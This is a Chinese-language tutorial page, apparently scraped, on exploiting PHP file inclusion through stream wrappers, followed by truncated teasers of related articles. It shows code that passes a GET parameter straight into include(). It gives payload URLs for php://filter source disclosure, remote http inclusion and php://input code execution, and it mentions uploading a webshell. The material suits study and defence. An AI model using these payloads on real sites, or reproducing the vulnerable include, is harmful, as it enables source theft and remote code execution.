2.任意檔案包含
$f = $_get['f'];include_once('sys/config.php');
include($f);
利用zip或phar偽協議讀取壓縮包中的檔案
上傳webshell完成
擴充套件:php偽協議:
file://— 訪問本地檔案系統
— 訪問 http(s) **
ftp://
— 訪問 ftp(s) urls
php://
— 訪問各個輸入/輸出流(i/o streams)
zlib://
— 壓縮流
data://
— 資料(rfc 2397)
glob://
— 查詢匹配的檔案路徑模式
phar://
— php 歸檔
ssh2://
— secure shell 2
rar://
— rar
ogg://
— 音訊流
expect://
— 處理互動式的流
讀取頁面源**
/about.php?f=php://filter/convert.base64-encode/resource=index.php
以base64加密的形式讀取頁面源**,然後在再對**進行base64解密就可以得到源**
當php配置allow_url_include和allow_url_fopen都為on的時候,可以對檔案進行遠端包含
例如:about.php?f=http://web/1.php
當allow_url_include為on,而allow_url_fopen為off的是否,不可以直接遠端包含檔案,但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等偽協議
例如about.php?f=php://input post傳輸資料<?php phpinfo(); ?>
php檔案包含 偽協議 檔案上傳漏洞利用例項
1.上傳檔案過濾了字尾名和mime型別,files pic type 是由瀏覽器傳輸的檔案型別決定,但是mime content type 是由php 內建方法判斷檔案型別 2.任意檔案包含 f get f include once sys config.php include f 利用zip或ph...
檔案包含與偽協議
說明 include 函式對檔案字尾名無要求,而對其中的語法有要求,即使字尾名為txt,jpg也會被當做php檔案解析,只要檔案內是形式就可以執行,但是如果不是php語法的形式,即使字尾為php,也無法執行。用於訪問本地檔案系統的檔案條件 allow url fopen off on allow u...
檔案包含與PHP偽協議實戰演練
1 include require 當使用include 函式包含檔案時,只有 執行到 include 函式時才將檔案包含進來,發生錯誤時只給出乙個警告,繼續向下執行。當使用require 函式包含檔案時,只要程式一執行就會立即呼叫檔案,發生錯誤的時候會輸出錯誤資訊,並且終止指令碼的執行 2 inc...